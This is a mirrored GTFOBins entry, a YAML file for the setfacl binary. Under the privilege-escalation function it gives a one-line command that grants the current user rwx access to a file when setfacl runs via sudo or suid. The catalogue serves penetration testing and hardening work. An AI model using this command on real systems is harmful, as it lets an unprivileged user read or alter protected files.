mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2026-03-07 06:31:33 +01:00
12 lines
271 B
Plaintext
12 lines
271 B
Plaintext
---
|
|
functions:
|
|
privilege-escalation:
|
|
- code: |-
|
|
setfacl -m u:$(id -un):rwx /path/to/input-file
|
|
comment: |-
|
|
This can be run with elevated privileges to change ownership and then read, write, or execute a file.
|
|
contexts:
|
|
sudo:
|
|
suid:
|
|
...
|